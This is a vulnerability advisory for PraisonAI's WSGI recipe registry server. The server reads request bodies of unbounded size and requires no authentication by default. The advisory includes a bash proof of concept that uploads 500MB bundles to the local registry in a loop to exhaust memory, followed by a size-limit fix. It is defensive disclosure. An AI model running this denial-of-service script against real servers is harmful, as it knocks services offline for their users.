PT-2026-59533 · Pypi · Praisonai

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

6.2

Medium

VectorAV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

The WSGI-based recipe registry server (server.py) reads the entire HTTP request body into memory based on the client-supplied Content-Length header with no upper bound. Combined with authentication being disabled by default (no token configured), any local process can send arbitrarily large POST requests to exhaust server memory and cause a denial of service. The Starlette-based server (serve.py) has RequestSizeLimitMiddleware with a 10MB limit, but the WSGI server lacks any equivalent protection.

Details

The vulnerable code path in src/praisonai/praisonai/recipe/server.py:
1. No size limit on body read (line 551-555):
python
content length = int(environ.get("CONTENT LENGTH", 0))
body = environ["wsgi.input"].read(content length) if content length > 0 else b""
The content length is taken directly from the HTTP header with no maximum check. The entire body is read into a single bytes object in memory.
2. Second in-memory copy via multipart parsing (line 169-172):
python
result = {"fields": {}, "files": {}}
boundary bytes = f"--{boundary}".encode()
parts = body.split(boundary bytes)
The parse multipart method splits the already-buffered body and stores file contents in a dict, creating additional in-memory copies.
3. Third copy to temp file (line 420-421):
python
with tempfile.NamedTemporaryFile(suffix=".praison", delete=False) as tmp:
  tmp.write(bundle content)
The bundle content is then written to disk and persisted in the registry, also without size checks.
4. Authentication disabled by default (line 91-94):
python
def check auth(self, headers: Dict[str, str]) -> bool:
  if not self.token:
    return True # No token configured = no auth
The self.token defaults to None unless PRAISONAI REGISTRY TOKEN is set or --token is passed on the CLI.
The entry point is praisonai registry serve (cli/features/registry.py:176), which calls run server() binding to 127.0.0.1:7777 by default.
In contrast, serve.py (the Starlette server) has RequestSizeLimitMiddleware at line 725-732 enforcing a 10MB default limit. The WSGI server has no equivalent.

PoC

bash
# Start the registry server with default settings (no auth, localhost)
praisonai registry serve &

# Step 1: Create a large bundle (~500MB)
mkdir -p /tmp/dos-test
echo '{"name":"dos","version":"1.0.0"}' > /tmp/dos-test/manifest.json
dd if=/dev/zero of=/tmp/dos-test/pad bs=1M count=500
tar czf /tmp/dos-bundle.praison -C /tmp/dos-test .

# Step 2: Upload — server buffers ~500MB into RAM with no limit
curl -X POST http://127.0.0.1:7777/v1/recipes/dos/1.0.0 
 -F 'bundle=@/tmp/dos-bundle.praison' -F 'force=true'

# Step 3: Repeat to exhaust memory
for v in 1.0.{1..10}; do
 curl -X POST http://127.0.0.1:7777/v1/recipes/dos/$v 
  -F 'bundle=@/tmp/dos-bundle.praison' &
done
# Server process will be OOM-killed

Impact

  • Memory exhaustion: A single large request can consume all available memory, crashing the server process (and potentially other processes via OOM killer).
  • Disk exhaustion: Repeated uploads persist bundles to disk at ~/.praison/registry/ with no quota, potentially filling the filesystem.
  • No authentication barrier: Default configuration requires no token, so any local process (including via SSRF from other services on the same host) can trigger this.
  • Availability impact: The registry server becomes unavailable, blocking recipe publish/download operations.
The default bind address of 127.0.0.1 limits exploitability to local attackers or SSRF scenarios. If a user binds to 0.0.0.0 (common for shared environments or containers), the attack surface extends to the network.

Recommended Fix

Add a request size limit to the WSGI application, consistent with serve.py's 10MB default:
python
# In create wsgi app(), before reading the body:
MAX REQUEST SIZE = 10 * 1024 * 1024 # 10MB, matching serve.py

def application(environ, start response):
  # ... existing code ...
  
  # Read body with size limit
  try:
    content length = int(environ.get("CONTENT LENGTH", 0))
  except (ValueError, TypeError):
    content length = 0
  
  if content length > MAX REQUEST SIZE:
    status = "413 Request Entity Too Large"
    response headers = [("Content-Type", "application/json")]
    body = json.dumps({
      "error": {
        "code": "request too large",
        "message": f"Request body too large. Max: {MAX REQUEST SIZE} bytes"
      }
    }).encode()
    start response(status, response headers)
    return [body]
  
  body = environ["wsgi.input"].read(content length) if content length > 0 else b""
  # ... rest of handler ...
Additionally, consider:
  • Adding a --max-request-size CLI flag to praisonai registry serve
  • Adding per-recipe disk quota enforcement in LocalRegistry.publish()

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-2896

Affected Products

Praisonai